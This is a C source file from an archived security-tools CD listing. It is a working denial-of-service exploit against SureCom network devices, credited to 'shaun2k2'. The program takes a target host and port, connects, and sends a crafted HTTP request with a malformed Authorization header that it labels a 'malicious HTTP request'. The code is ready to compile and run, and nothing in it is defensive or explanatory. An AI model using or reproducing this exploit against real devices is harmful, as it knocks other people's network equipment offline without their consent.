home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / surecom / surecomkill.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  68 lines

  1.  
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <sys/socket.h>
  5. #include <sys/types.h>
  6. #include <netdb.h>
  7. #include <netinet/in.h>
  8.  
  9. int main(int argc, char *argv[]) {
  10.         if(argc < 3) {
  11.                 printf("SureCom Network Device
  12. DoS,\n");
  13.                 printf("by shaun2k2 -
  14. shaunige@yahoo.co.uk\n\n");
  15.                 printf("Usage: %s <host> <port>\n",
  16. argv[0]);
  17.                 exit(-1);
  18.         }
  19.  
  20.         int sock;
  21.         struct hostent *he;
  22.         struct sockaddr_in dest;
  23.  
  24.         if((he = gethostbyname(argv[1])) == NULL) {
  25.                 herror("gethostbyname()");
  26.                 exit(-1);
  27.         }
  28.  
  29.  
  30.         printf("SureCom Network Device DoS,\n");
  31.         printf("by shaun2k2 -
  32. shaunige@yahoo.co.uk\n\n");
  33.  
  34.         printf("[+] Crafting exploit buffer...\n\n");
  35.         char explbuf[] = "GET /
  36. HTTP/1.1\r\nAuthorization: B 00000000\r\n\r\n";
  37.  
  38.         if((sock = socket(AF_INET, SOCK_STREAM, 0)) <
  39. 0) {
  40.                 perror("socket()");
  41.                 exit(-1);
  42.         }
  43.  
  44.         dest.sin_family = AF_INET;
  45.         dest.sin_port = htons(atoi(argv[2]));
  46.         dest.sin_addr = *((struct in_addr
  47. *)he->h_addr);
  48.  
  49.         printf("[+] Connecting...\n");
  50.         if(connect(sock, (struct sockaddr *)&dest,
  51. sizeof(struct sockaddr)) < 0) {
  52.                 perror("socket()");
  53.                 exit(-1);
  54.         }
  55.  
  56.         printf("[+] Connected!\n\n");
  57.  
  58.         printf("[+] Sending malicious HTTP
  59. request...\n");
  60.         send(sock, explbuf, strlen(explbuf), 0);
  61.         sleep(2);
  62.         close(sock);
  63.  
  64.         printf("[+] Done!\n");
  65.  
  66.         return(0);
  67. }
  68.